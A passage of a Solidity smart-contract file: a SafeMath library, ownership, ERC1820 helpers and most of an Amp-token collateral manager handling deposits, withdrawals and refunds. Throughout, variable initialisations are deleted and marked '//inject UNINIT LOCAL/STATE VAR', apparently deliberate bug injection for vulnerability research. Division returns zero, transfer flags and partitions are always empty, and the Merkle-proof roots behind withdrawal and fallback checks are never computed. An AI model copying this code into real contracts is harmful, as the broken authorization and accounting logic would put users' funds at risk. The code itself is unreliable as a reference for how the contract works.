* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c ; //inject UNINIT LOCAL/STATE VAR
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IAmp {
function registerCollateralManager() external;
}
/**
* @title Ownable is a contract the provides contract ownership functionality, including a two-
* phase transfer.
*/
contract Ownable {
address private _owner;
address private _authorizedNewOwner;
/**
* @notice Emitted when the owner authorizes ownership transfer to a new address
* @param authorizedAddress New owner address
*/
event OwnershipTransferAuthorization(address indexed authorizedAddress);
/**
* @notice Emitted when the authorized address assumed ownership
* @param oldValue Old owner
* @param newValue New owner
*/
event OwnerUpdate(address indexed oldValue, address indexed newValue);
/**
* @notice Sets the owner to the sender / contract creator
*/
constructor() internal {
_owner = msg.sender;
}
/**
* @notice Retrieves the owner of the contract
* @return The contract owner
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @notice Retrieves the authorized new owner of the contract
* @return The authorized new contract owner
*/
function authorizedNewOwner() public view returns (address) {
return _authorizedNewOwner;
}
/**
* @notice Authorizes the transfer of ownership from owner to the provided address.
* NOTE: No transfer will occur unless authorizedAddress calls assumeOwnership().
* This authorization may be removed by another call to this function authorizing the zero
* address.
* @param _authorizedAddress The address authorized to become the new owner
*/
function authorizeOwnershipTransfer(address _authorizedAddress) external {
require(msg.sender == _owner, "Invalid sender");
_authorizedNewOwner = _authorizedAddress;
emit OwnershipTransferAuthorization(_authorizedNewOwner);
}
/**
* @notice Transfers ownership of this contract to the _authorizedNewOwner
* @dev Error invalid sender.
*/
function assumeOwnership() external {
require(msg.sender == _authorizedNewOwner, "Invalid sender");
address oldValue ; //inject UNINIT LOCAL/STATE VAR
_owner = _authorizedNewOwner;
_authorizedNewOwner = address(0);
emit OwnerUpdate(oldValue, _owner);
}
}
abstract contract ERC1820Registry {
function setInterfaceImplementer(
address _addr,
bytes32 _interfaceHash,
address _implementer
) external virtual;
function getInterfaceImplementer(address _addr, bytes32 _interfaceHash)
external
virtual
view
returns (address);
function setManager(address _addr, address _newManager) external virtual;
function getManager(address _addr) public virtual view returns (address);
}
/// Base client to interact with the registry.
contract ERC1820Client {
ERC1820Registry constant ERC1820REGISTRY = ERC1820Registry(
0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24
);
function setInterfaceImplementation(
string memory _interfaceLabel,
address _implementation
) internal {
bytes32 interfaceHash ; //inject UNINIT LOCAL/STATE VAR
ERC1820REGISTRY.setInterfaceImplementer(
address(this),
interfaceHash,
_implementation
);
}
function interfaceAddr(address addr, string memory _interfaceLabel)
internal
view
returns (address)
{
bytes32 interfaceHash ; //inject UNINIT LOCAL/STATE VAR
return ERC1820REGISTRY.getInterfaceImplementer(addr, interfaceHash);
}
function delegateManagement(address _newManager) internal {
ERC1820REGISTRY.setManager(address(this), _newManager);
}
}
/**
* @title IAmpTokensRecipient
* @dev IAmpTokensRecipient token transfer hook interface
*/
interface IAmpTokensRecipient {
/**
* @dev Report if the recipient will successfully receive the tokens
*/
function canReceive(
bytes4 functionSig,
bytes32 partition,
address operator,
address from,
address to,
uint256 value,
bytes calldata data,
bytes calldata operatorData
) external view returns (bool);
/**
* @dev Hook executed upon a transfer to the recipient
*/
function tokensReceived(
bytes4 functionSig,
bytes32 partition,
address operator,
address from,
address to,
uint256 value,
bytes calldata data,
bytes calldata operatorData
) external;
}
/**
* @title IAmpTokensSender
* @dev IAmpTokensSender token transfer hook interface
*/
interface IAmpTokensSender {
/**
* @dev Report if the transfer will succeed from the pespective of the
* token sender
*/
function canTransfer(
bytes4 functionSig,
bytes32 partition,
address operator,
address from,
address to,
uint256 value,
bytes calldata data,
bytes calldata operatorData
) external view returns (bool);
/**
* @dev Hook executed upon a transfer on behalf of the sender
*/
function tokensToTransfer(
bytes4 functionSig,
bytes32 partition,
address operator,
address from,
address to,
uint256 value,
bytes calldata data,
bytes calldata operatorData
) external;
}
/**
* @title PartitionUtils
* @notice Partition related helper functions.
*/
library PartitionUtils {
bytes32 public constant CHANGE_PARTITION_FLAG = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
/**
* @notice Retrieve the destination partition from the 'data' field.
* A partition change is requested ONLY when 'data' starts with the flag:
*
* 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
*
* When the flag is detected, the destination partition is extracted from the
* 32 bytes following the flag.
* @param _data Information attached to the transfer. Will contain the
* destination partition if a change is requested.
* @param _fallbackPartition Partition value to return if a partition change
* is not requested in the `_data`.
* @return toPartition Destination partition. If the `_data` does not contain
* the prefix and bytes32 partition in the first 64 bytes, the method will
* return the provided `_fromPartition`.
*/
function _getDestinationPartition(bytes memory _data, bytes32 _fallbackPartition)
internal
pure
returns (bytes32)
{
if (_data.length < 64) {
return _fallbackPartition;
}
(bytes32 flag, bytes32 toPartition) = abi.decode(_data, (bytes32, bytes32));
if (flag == CHANGE_PARTITION_FLAG) {
return toPartition;
}
return _fallbackPartition;
}
/**
* @notice Helper to get the strategy identifying prefix from the `_partition`.
* @param _partition Partition to get the prefix for.
* @return 4 byte partition strategy prefix.
*/
function _getPartitionPrefix(bytes32 _partition) internal pure returns (bytes4) {
return bytes4(_partition);
}
/**
* @notice Helper method to split the partition into the prefix, sub partition
* and partition owner components.
* @param _partition The partition to split into parts.
* @return The 4 byte partition prefix, 8 byte sub partition, and final 20
* bytes representing an address.
*/
function _splitPartition(bytes32 _partition)
internal
pure
returns (
bytes4,
bytes8,
address
)
{
bytes4 prefix ; //inject UNINIT LOCAL/STATE VAR
bytes8 subPartition ; //inject UNINIT LOCAL/STATE VAR
address addressPart ; //inject UNINIT LOCAL/STATE VAR
return (prefix, subPartition, addressPart);
}
/**
* @notice Helper method to get a partition strategy ERC1820 interface name
* based on partition prefix.
* @param _prefix 4 byte partition prefix.
* @dev Each 4 byte prefix has a unique interface name so that an individual
* hook implementation can be set for each prefix.
*/
function _getPartitionStrategyValidatorIName(bytes4 _prefix)
internal
pure
returns (string memory)
{
return string(abi.encodePacked("AmpPartitionStrategyValidator", _prefix));
}
}
/**
* @title FlexaCollateralManager is an implementation of IAmpTokensSender and IAmpTokensRecipient
* which serves as the Amp collateral manager for the Flexa Network.
*/
contract FlexaCollateralManager is Ownable, IAmpTokensSender, IAmpTokensRecipient, ERC1820Client {
/**
* @dev AmpTokensSender interface label.
*/
string internal constant AMP_TOKENS_SENDER = "AmpTokensSender";
/**
* @dev AmpTokensRecipient interface label.
*/
string internal constant AMP_TOKENS_RECIPIENT = "AmpTokensRecipient";
/**
* @dev Change Partition Flag used in transfer data parameters to signal which partition
* will receive the tokens.
*/
bytes32
internal constant CHANGE_PARTITION_FLAG = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
/**
* @dev Required prefix for all registered partitions. Used to ensure the Collateral Pool
* Partition Validator is used within Amp.
*/
bytes4 internal constant PARTITION_PREFIX = 0xCCCCCCCC;
/**********************************************************************************************
* Operator Data Flags
*********************************************************************************************/
/**
* @dev Flag used in operator data parameters to indicate the transfer is a withdrawal
*/
bytes32
internal constant WITHDRAWAL_FLAG = 0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;
/**
* @dev Flag used in operator data parameters to indicate the transfer is a fallback
* withdrawal
*/
bytes32
internal constant FALLBACK_WITHDRAWAL_FLAG = 0xbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb;
/**
* @dev Flag used in operator data parameters to indicate the transfer is a supply refund
*/
bytes32
internal constant REFUND_FLAG = 0xcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc;
/**
* @dev Flag used in operator data parameters to indicate the transfer is a direct transfer
*/
bytes32
internal constant DIRECT_TRANSFER_FLAG = 0xdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd;
/**********************************************************************************************
* Configuration
*********************************************************************************************/
/**
* @notice Address of the Amp contract. Immutable.
*/
address public amp;
/**
* @notice Permitted partitions
*/
mapping(bytes32 => bool) public partitions;
/**********************************************************************************************
* Roles
*********************************************************************************************/
/**
* @notice Address authorized to publish withdrawal roots
*/
address public withdrawalPublisher;
/**
* @notice Address authorized to publish fallback withdrawal roots
*/
address public fallbackPublisher;
/**
* @notice Address authorized to adjust the withdrawal limit
*/
address public withdrawalLimitPublisher;
/**
* @notice Address authorized to directly transfer tokens
*/
address public directTransferer;
/**
* @notice Address authorized to manage permitted partition
*/
address public partitionManager;
/**
* @notice Struct used to record received tokens that can be recovered during the fallback
* withdrawal period
* @param supplier Token supplier
* @param partition Partition which received the tokens
* @param amount Number of tokens received
*/
struct Supply {
address supplier;
bytes32 partition;
uint256 amount;
}
/**********************************************************************************************
* Supply State
*********************************************************************************************/
/**
* @notice Supply nonce used to track incoming token transfers
*/
uint256 public supplyNonce = 0;
/**
* @notice Mapping of all incoming token transfers
*/
mapping(uint256 => Supply) public nonceToSupply;
/**********************************************************************************************
* Withdrawal State
*********************************************************************************************/
/**
* @notice Remaining withdrawal limit. Initially set to 100,000 Amp.
*/
uint256 public withdrawalLimit = 100 * 1000 * (10**18);
/**
* @notice Withdrawal maximum root nonce
*/
uint256 public maxWithdrawalRootNonce = 0;
/**
* @notice Active set of withdrawal roots
*/
mapping(bytes32 => uint256) public withdrawalRootToNonce;
/**
* @notice Last invoked withdrawal root for each account, per partition
*/
mapping(bytes32 => mapping(address => uint256)) public addressToWithdrawalNonce;
/**
* @notice Total amount withdrawn for each account, per partition
*/
mapping(bytes32 => mapping(address => uint256)) public addressToCumulativeAmountWithdrawn;
/**********************************************************************************************
* Fallback Withdrawal State
*********************************************************************************************/
/**
* @notice Withdrawal fallback delay. Initially set to one week.
*/
uint256 public fallbackWithdrawalDelaySeconds = 1 weeks;
/**
* @notice Current fallback withdrawal root
*/
bytes32 public fallbackRoot;
/**
* @notice Timestamp of when the last fallback root was published
*/
uint256 public fallbackSetDate = 2**200; // very far in the future
/**
* @notice Latest supply reflected in the fallback withdrawal authorization tree
*/
uint256 public fallbackMaxIncludedSupplyNonce = 0;
/**********************************************************************************************
* Supplier Events
*********************************************************************************************/
/**
* @notice Indicates a token supply has been received
* @param supplier Token supplier
* @param amount Number of tokens transferred
* @param nonce Nonce of the supply
*/
event SupplyReceipt(
address indexed supplier,
bytes32 indexed partition,
uint256 amount,
uint256 indexed nonce
);
/**
* @notice Indicates that a withdrawal was executed
* @param supplier Address whose withdrawal authorization was executed
* @param partition Partition from which the tokens were transferred
* @param amount Amount of tokens transferred
* @param rootNonce Nonce of the withdrawal root used for authorization
* @param authorizedAccountNonce Maximum previous nonce used by the account
*/
event Withdrawal(
address indexed supplier,
bytes32 indexed partition,
uint256 amount,
uint256 indexed rootNonce,
uint256 authorizedAccountNonce
);
/**
* @notice Indicates a fallback withdrawal was executed
* @param supplier Address whose fallback withdrawal authorization was executed
* @param partition Partition from which the tokens were transferred
* @param amount Amount of tokens transferred
*/
event FallbackWithdrawal(
address indexed supplier,
bytes32 indexed partition,
uint256 indexed amount
);
/**
* @notice Indicates a release of supply is requested
* @param supplier Token supplier
* @param partition Parition from which the tokens should be released
* @param amount Number of tokens requested to be released
* @param data Metadata provided by the requestor
*/
event ReleaseRequest(
address indexed supplier,
bytes32 indexed partition,
uint256 indexed amount,
bytes data
);
/**
* @notice Indicates a supply refund was executed
* @param supplier Address whose refund authorization was executed
* @param partition Partition from which the tokens were transferred
* @param amount Amount of tokens transferred
* @param nonce Nonce of the original supply
*/
event SupplyRefund(
address indexed supplier,
bytes32 indexed partition,
uint256 amount,
uint256 indexed nonce
);
/**********************************************************************************************
* Direct Transfer Events
*********************************************************************************************/
/**
* @notice Emitted when tokens are directly transfered
* @param operator Address that executed the direct transfer
* @param from_partition Partition from which the tokens were transferred
* @param to_address Address to which the tokens were transferred
* @param to_partition Partition to which the tokens were transferred
* @param value Amount of tokens transferred
*/
event DirectTransfer(
address operator,
bytes32 indexed from_partition,
address indexed to_address,
bytes32 indexed to_partition,
uint256 value
);
/**********************************************************************************************
* Admin Configuration Events
*********************************************************************************************/
/**
* @notice Emitted when a partition is permitted for supply
* @param partition Partition added to the permitted set
*/
event PartitionAdded(bytes32 indexed partition);
/**
* @notice Emitted when a partition is removed from the set permitted for supply
* @param partition Partition removed from the permitted set
*/
event PartitionRemoved(bytes32 indexed partition);
/**********************************************************************************************
* Admin Withdrawal Management Events
*********************************************************************************************/
/**
* @notice Emitted when a new withdrawal root hash is added to the active set
* @param rootHash Merkle root hash.
* @param nonce Nonce of the Merkle root hash.
*/
event WithdrawalRootHashAddition(bytes32 indexed rootHash, uint256 indexed nonce);
/**
* @notice Emitted when a withdrawal root hash is removed from the active set
* @param rootHash Merkle root hash.
* @param nonce Nonce of the Merkle root hash.
*/
event WithdrawalRootHashRemoval(bytes32 indexed rootHash, uint256 indexed nonce);
/**
* @notice Emitted when the withdrawal limit is updated
* @param oldValue Old limit.
* @param newValue New limit.
*/
event WithdrawalLimitUpdate(uint256 indexed oldValue, uint256 indexed newValue);
/**********************************************************************************************
* Admin Fallback Management Events
*********************************************************************************************/
/**
* @notice Emitted when a new fallback withdrawal root hash is set
* @param rootHash Merkle root hash
* @param maxSupplyNonceIncluded Nonce of the last supply reflected in the tree data
* @param setDate Timestamp of when the root hash was set
*/
event FallbackRootHashSet(
bytes32 indexed rootHash,
uint256 indexed maxSupplyNonceIncluded,
uint256 setDate
);
/**
* @notice Emitted when the fallback root hash set date is reset
* @param newDate Timestamp of when the fallback reset date was set
*/
event FallbackMechanismDateReset(uint256 indexed newDate);
/**
* @notice Emitted when the fallback delay is updated
* @param oldValue Old delay
* @param newValue New delay
*/
event FallbackWithdrawalDelayUpdate(uint256 indexed oldValue, uint256 indexed newValue);
/**********************************************************************************************
* Role Management Events
*********************************************************************************************/
/**
* @notice Emitted when the Withdrawal Publisher is updated
* @param oldValue Old publisher
* @param newValue New publisher
*/
event WithdrawalPublisherUpdate(address indexed oldValue, address indexed newValue);
/**
* @notice Emitted when the Fallback Publisher is updated
* @param oldValue Old publisher
* @param newValue New publisher
*/
event FallbackPublisherUpdate(address indexed oldValue, address indexed newValue);
/**
* @notice Emitted when Withdrawal Limit Publisher is updated
* @param oldValue Old publisher
* @param newValue New publisher
*/
event WithdrawalLimitPublisherUpdate(address indexed oldValue, address indexed newValue);
/**
* @notice Emitted when the DirectTransferer address is updated
* @param oldValue Old DirectTransferer address
* @param newValue New DirectTransferer address
*/
event DirectTransfererUpdate(address indexed oldValue, address indexed newValue);
/**
* @notice Emitted when the Partition Manager address is updated
* @param oldValue Old Partition Manager address
* @param newValue New Partition Manager address
*/
event PartitionManagerUpdate(address indexed oldValue, address indexed newValue);
/**********************************************************************************************
* Constructor
*********************************************************************************************/
/**
* @notice FlexaCollateralManager constructor
* @param _amp Address of the Amp token contract
*/
constructor(address _amp) public {
amp = _amp;
ERC1820Client.setInterfaceImplementation(AMP_TOKENS_RECIPIENT, address(this));
ERC1820Client.setInterfaceImplementation(AMP_TOKENS_SENDER, address(this));
IAmp(amp).registerCollateralManager();
}
/**********************************************************************************************
* IAmpTokensRecipient Hooks
*********************************************************************************************/
/**
* @notice Validates where the supplied parameters are valid for a transfer of tokens to this
* contract
* @dev Implements IAmpTokensRecipient
* @param _partition Partition from which the tokens were transferred
* @param _to The destination address of the tokens. Must be this.
* @param _data Optional data sent with the transfer. Used to set the destination partition.
* @return true if the tokens can be received, otherwise false
*/
function canReceive(
bytes4, /* functionSig */
bytes32 _partition,
address, /* operator */
address, /* from */
address _to,
uint256, /* value */
bytes calldata _data,
bytes calldata /* operatorData */
) external override view returns (bool) {
if (msg.sender != amp || _to != address(this)) {
return false;
}
bytes32 _destinationPartition ; //inject UNINIT LOCAL/STATE VAR
return partitions[_destinationPartition];
}
/**
* @notice Function called by the token contract after executing a transfer.
* @dev Implements IAmpTokensRecipient
* @param _partition Partition from which the tokens were transferred
* @param _operator Address which triggered the transfer. This address will be credited with
* the supply.
* @param _to The destination address of the tokens. Must be this.
* @param _value Number of tokens the token holder balance is decreased by.
* @param _data Optional data sent with the transfer. Used to set the destination partition.
*/
function tokensReceived(
bytes4, /* functionSig */
bytes32 _partition,
address _operator,
address, /* from */
address _to,
uint256 _value,
bytes calldata _data,
bytes calldata /* operatorData */
) external override {
require(msg.sender == amp, "Invalid sender");
require(_to == address(this), "Invalid to address");
bytes32 _destinationPartition ; //inject UNINIT LOCAL/STATE VAR
require(partitions[_destinationPartition], "Invalid destination partition");
supplyNonce = SafeMath.add(supplyNonce, 1);
nonceToSupply[supplyNonce].supplier = _operator;
nonceToSupply[supplyNonce].partition = _destinationPartition;
nonceToSupply[supplyNonce].amount = _value;
emit SupplyReceipt(_operator, _destinationPartition, _value, supplyNonce);
}
/**********************************************************************************************
* IAmpTokensSender Hooks
*********************************************************************************************/
/**
* @notice Validates where the supplied parameters are valid for a transfer of tokens from this
* contract
* @dev Implements IAmpTokensSender
* @param _partition Source partition of the tokens
* @param _operator Address which triggered the transfer
* @param _from The source address of the tokens. Must be this.
* @param _value Amount of tokens to be transferred
* @param _operatorData Extra information attached by the operator. Must include the transfer
* operation flag and additional authorization data custom for each transfer operation type.
* @return true if the token transfer would succeed, otherwise false
*/
function canTransfer(
bytes4, /*functionSig*/
bytes32 _partition,
address _operator,
address _from,
address, /* to */
uint256 _value,
bytes calldata, /* data */
bytes calldata _operatorData
) external override view returns (bool) {
if (msg.sender != amp || _from != address(this)) {
return false;
}
bytes32 flag ; //inject UNINIT LOCAL/STATE VAR
if (flag == WITHDRAWAL_FLAG) {
return _validateWithdrawal(_partition, _operator, _value, _operatorData);
}
if (flag == FALLBACK_WITHDRAWAL_FLAG) {
return _validateFallbackWithdrawal(_partition, _operator, _value, _operatorData);
}
if (flag == REFUND_FLAG) {
return _validateRefund(_partition, _operator, _value, _operatorData);
}
if (flag == DIRECT_TRANSFER_FLAG) {
return _validateDirectTransfer(_operator, _value);
}
return false;
}
/**
* @notice Function called by the token contract when executing a transfer
* @dev Implements IAmpTokensSender
* @param _partition Source partition of the tokens
* @param _operator Address which triggered the transfer
* @param _from The source address of the tokens. Must be this.
* @param _to The target address of the tokens.
* @param _value Amount of tokens to be transferred
* @param _data Data attached to the transfer. Typically includes partition change information.
* @param _operatorData Extra information attached by the operator. Must include the transfer
* operation flag and additional authorization data custom for each transfer operation type.
*/
function tokensToTransfer(
bytes4, /* functionSig */
bytes32 _partition,
address _operator,
address _from,
address _to,
uint256 _value,
bytes calldata _data,
bytes calldata _operatorData
) external override {
require(msg.sender == amp, "Invalid sender");
require(_from == address(this), "Invalid from address");
bytes32 flag ; //inject UNINIT LOCAL/STATE VAR
if (flag == WITHDRAWAL_FLAG) {
_executeWithdrawal(_partition, _operator, _value, _operatorData);
} else if (flag == FALLBACK_WITHDRAWAL_FLAG) {
_executeFallbackWithdrawal(_partition, _operator, _value, _operatorData);
} else if (flag == REFUND_FLAG) {
_executeRefund(_partition, _operator, _value, _operatorData);
} else if (flag == DIRECT_TRANSFER_FLAG) {
_executeDirectTransfer(_partition, _operator, _to, _value, _data);
} else {
revert("invalid flag");
}
}
/**********************************************************************************************
* Withdrawals
*********************************************************************************************/
/**
* @notice Validates withdrawal data
* @param _partition Source partition of the withdrawal
* @param _operator Address that is invoking the transfer
* @param _value Number of tokens to be transferred
* @param _operatorData Contains the withdrawal authorization data
* @return true if the withdrawal data is valid, otherwise false
*/
function _validateWithdrawal(
bytes32 _partition,
address _operator,
uint256 _value,
bytes memory _operatorData
) internal view returns (bool) {
(
address supplier,
uint256 maxAuthorizedAccountNonce,
uint256 withdrawalRootNonce
) = _getWithdrawalData(_partition, _value, _operatorData);
return
_validateWithdrawalData(
_partition,
_operator,
_value,
supplier,
maxAuthorizedAccountNonce,
withdrawalRootNonce
);
}
/**
* @notice Validates the withdrawal data and updates state to reflect the transfer
* @param _partition Source partition of the withdrawal
* @param _operator Address that is invoking the transfer
* @param _value Number of tokens to be transferred
* @param _operatorData Contains the withdrawal authorization data
*/
function _executeWithdrawal(
bytes32 _partition,
address _operator,
uint256 _value,
bytes memory _operatorData
) internal {
(
address supplier,
uint256 maxAuthorizedAccountNonce,
uint256 withdrawalRootNonce
) = _getWithdrawalData(_partition, _value, _operatorData);
require(
_validateWithdrawalData(
_partition,
_operator,
_value,
supplier,
maxAuthorizedAccountNonce,
withdrawalRootNonce
),
"Transfer unauthorized"
);
addressToCumulativeAmountWithdrawn[_partition][supplier] = SafeMath.add(
_value,
addressToCumulativeAmountWithdrawn[_partition][supplier]
);
addressToWithdrawalNonce[_partition][supplier] = withdrawalRootNonce;
withdrawalLimit = SafeMath.sub(withdrawalLimit, _value);
emit Withdrawal(
supplier,
_partition,
_value,
withdrawalRootNonce,
maxAuthorizedAccountNonce
);
}
/**
* @notice Extracts withdrawal data from the supplied parameters
* @param _partition Source partition of the withdrawal
* @param _value Number of tokens to be transferred
* @param _operatorData Contains the withdrawal authorization data, including the withdrawal
* operation flag, supplier, maximum authorized account nonce, and Merkle proof.
* @return supplier, the address whose account is authorized
* @return maxAuthorizedAccountNonce, the maximum existing used withdrawal nonce for the
* supplier and partition
* @return withdrawalRootNonce, the active withdrawal root nonce found based on the supplied
* data and Merkle proof
*/
function _getWithdrawalData(
bytes32 _partition,
uint256 _value,
bytes memory _operatorData
)
internal
view
returns (
address, /* supplier */
uint256, /* maxAuthorizedAccountNonce */
uint256 /* withdrawalRootNonce */
)
{
(
address supplier,
uint256 maxAuthorizedAccountNonce,
bytes32[] memory merkleProof
) = _decodeWithdrawalOperatorData(_operatorData);
bytes32 leafDataHash ; //inject UNINIT LOCAL/STATE VAR
bytes32 calculatedRoot ; //inject UNINIT LOCAL/STATE VAR
uint256 withdrawalRootNonce ; //inject UNINIT LOCAL/STATE VAR
return (supplier, maxAuthorizedAccountNonce, withdrawalRootNonce);
}
/**
* @notice Validates that the parameters are valid for the requested withdrawal
* @param _partition Source partition of the tokens
* @param _operator Address that is executing the withdrawal
* @param _value Number of tokens to be transferred
* @param _supplier The address whose account is authorized
* @param _maxAuthorizedAccountNonce The maximum existing used withdrawal nonce for the
* supplier and partition
* @param _withdrawalRootNonce The active withdrawal root nonce found based on the supplied
* data and Merkle proof
* @return true if the withdrawal data is valid, otherwise false
*/
function _validateWithdrawalData(
bytes32 _partition,
address _operator,
uint256 _value,
address _supplier,
uint256 _maxAuthorizedAccountNonce,
uint256 _withdrawalRootNonce
) internal view returns (bool) {
return
// Only owner, withdrawal publisher or supplier can invoke withdrawals
(_operator == owner() || _operator == withdrawalPublisher || _operator == _supplier) &&
// Ensure maxAuthorizedAccountNonce has not been exceeded
(addressToWithdrawalNonce[_partition][_supplier] <= _maxAuthorizedAccountNonce) &&
// Ensure we are within the global withdrawal limit
(_value <= withdrawalLimit) &&
// Merkle tree proof is valid
(_withdrawalRootNonce > 0) &&
// Ensure the withdrawal root is more recent than the maxAuthorizedAccountNonce
(_withdrawalRootNonce > _maxAuthorizedAccountNonce);
}
/**********************************************************************************************
* Fallback Withdrawals
*********************************************************************************************/
/**
* @notice Validates fallback withdrawal data
* @param _partition Source partition of the withdrawal
* @param _operator Address that is invoking the transfer
* @param _value Number of tokens to be transferred
* @param _operatorData Contains the fallback withdrawal authorization data
* @return true if the fallback withdrawal data is valid, otherwise false
*/
function _validateFallbackWithdrawal(
bytes32 _partition,
address _operator,
uint256 _value,
bytes memory _operatorData
) internal view returns (bool) {
(
address supplier,
uint256 maxCumulativeWithdrawalAmount,
uint256 newCumulativeWithdrawalAmount,
bytes32 calculatedRoot
) = _getFallbackWithdrawalData(_partition, _value, _operatorData);
return
_validateFallbackWithdrawalData(
_operator,
maxCumulativeWithdrawalAmount,
newCumulativeWithdrawalAmount,
supplier,
calculatedRoot
);
}
/**
* @notice Validates the fallback withdrawal data and updates state to reflect the transfer
* @param _partition Source partition of the withdrawal
* @param _operator Address that is invoking the transfer
* @param _value Number of tokens to be transferred
* @param _operatorData Contains the fallback withdrawal authorization data
*/
function _executeFallbackWithdrawal(
bytes32 _partition,
address _operator,
uint256 _value,
bytes memory _operatorData
) internal {
(
address supplier,
uint256 maxCumulativeWithdrawalAmount,
uint256 newCumulativeWithdrawalAmount,
bytes32 calculatedRoot
) = _getFallbackWithdrawalData(_partition, _value, _operatorData);
require(
_validateFallbackWithdrawalData(
_operator,
maxCumulativeWithdrawalAmount,
newCumulativeWithdrawalAmount,
supplier,
calculatedRoot
),
"Transfer unauthorized"
);
addressToCumulativeAmountWithdrawn[_partition][supplier] = newCumulativeWithdrawalAmount;
addressToWithdrawalNonce[_partition][supplier] = maxWithdrawalRootNonce;
emit FallbackWithdrawal(supplier, _partition, _value);
}
/**
* @notice Extracts withdrawal data from the supplied parameters
* @param _partition Source partition of the withdrawal
* @param _value Number of tokens to be transferred
* @param _operatorData Contains the fallback withdrawal authorization data, including the
* fallback withdrawal operation flag, supplier, max cumulative withdrawal amount, and Merkle
* proof.
* @return supplier, the address whose account is authorized
* @return maxCumulativeWithdrawalAmount, the maximum amount of tokens that can be withdrawn
* for the supplier's account, including both withdrawals and fallback withdrawals
* @return newCumulativeWithdrawalAmount, the new total of all withdrawals include the
* current request
* @return calculatedRoot, the Merkle tree root calculated based on the supplied data and proof
*/
function _getFallbackWithdrawalData(
bytes32 _partition,
uint256 _value,
bytes memory _operatorData
)
internal
view
returns (
address, /* supplier */
uint256, /* maxCumulativeWithdrawalAmount */
uint256, /* newCumulativeWithdrawalAmount */
bytes32 /* calculatedRoot */
)
{
(
address supplier,
uint256 maxCumulativeWithdrawalAmount,
bytes32[] memory merkleProof
) = _decodeWithdrawalOperatorData(_operatorData);
uint256 newCumulativeWithdrawalAmount ; //inject UNINIT LOCAL/STATE VAR
bytes32 leafDataHash ; //inject UNINIT LOCAL/STATE VAR
bytes32 calculatedRoot ; //inject UNINIT LOCAL/STATE VAR
return (
supplier,
maxCumulativeWithdrawalAmount,
newCumulativeWithdrawalAmount,
calculatedRoot
);
}
/**
* @notice Validates that the parameters are valid for the requested fallback withdrawal
* @param _operator Address that is executing the withdrawal
* @param _maxCumulativeWithdrawalAmount, the maximum amount of tokens that can be withdrawn
* for the supplier's account, including both withdrawals and fallback withdrawals
* @param _newCumulativeWithdrawalAmount, the new total of all withdrawals include the
* current request
* @param _supplier The address whose account is authorized
* @param _calculatedRoot The Merkle tree root calculated based on the supplied data and proof
* @return true if the fallback withdrawal data is valid, otherwise false
*/
function _validateFallbackWithdrawalData(
address _operator,
uint256 _maxCumulativeWithdrawalAmount,
uint256 _newCumulativeWithdrawalAmount,
address _supplier,
bytes32 _calculatedRoot
) internal view returns (bool) {
return
// Only owner or supplier can invoke the fallback withdrawal
(_operator == owner() || _operator == _supplier) &&
// Ensure we have entered fallback mode
(SafeMath.add(fallbackSetDate, fallbackWithdrawalDelaySeconds) <= block.timestamp) &&
// Check that the maximum allowable withdrawal for the supplier has not been exceeded
(_newCumulativeWithdrawalAmount <= _maxCumulativeWithdrawalAmount) &&
// Merkle tree proof is valid
(fallbackRoot == _calculatedRoot);
}
/**********************************************************************************************
* Supply Refunds
*********************************************************************************************/
/**
* @notice Validates refund data
* @param _partition Source partition of the refund
* @param _operator Address that is invoking the transfer
* @param _value Number of tokens to be transferred
* @param _operatorData Contains the refund authorization data
* @return true if the refund data is valid, otherwise false
*/
function _validateRefund(
bytes32 _partition,
address _operator,
uint256 _value,
bytes memory _operatorData
) internal view returns (bool) {
(uint256 _supplyNonce, Supply memory supply) = _getRefundData(_operatorData);
return _verifyRefundData(_partition, _operator, _value, _supplyNonce, supply);
}
/**
* @notice Validates the refund data and updates state to reflect the transfer
* @param _partition Source partition of the refund
* @param _operator Address that is invoking the transfer
* @param _value Number of tokens to be transferred
* @param _operatorData Contains the refund authorization data
*/
function _executeRefund(
bytes32 _partition,
address _operator,
uint256 _value,
bytes memory _operatorData
) internal {
(uint256 nonce, Supply memory supply) = _getRefundData(_operatorData);
require(
_verifyRefundData(_partition, _operator, _value, nonce, supply),
"Transfer unauthorized"
);
delete nonceToSupply[nonce];
emit SupplyRefund(supply.supplier, _partition, supply.amount, nonce);
}
/**
* @notice Extracts refund data from the supplied parameters
* @param _operatorData Contains the refund authorization data, including the refund
* operation flag and supply nonce.
* @return supplyNonce, nonce of the recorded supply
* @return supply, The supplier, partition and amount of tokens in the original supply
*/
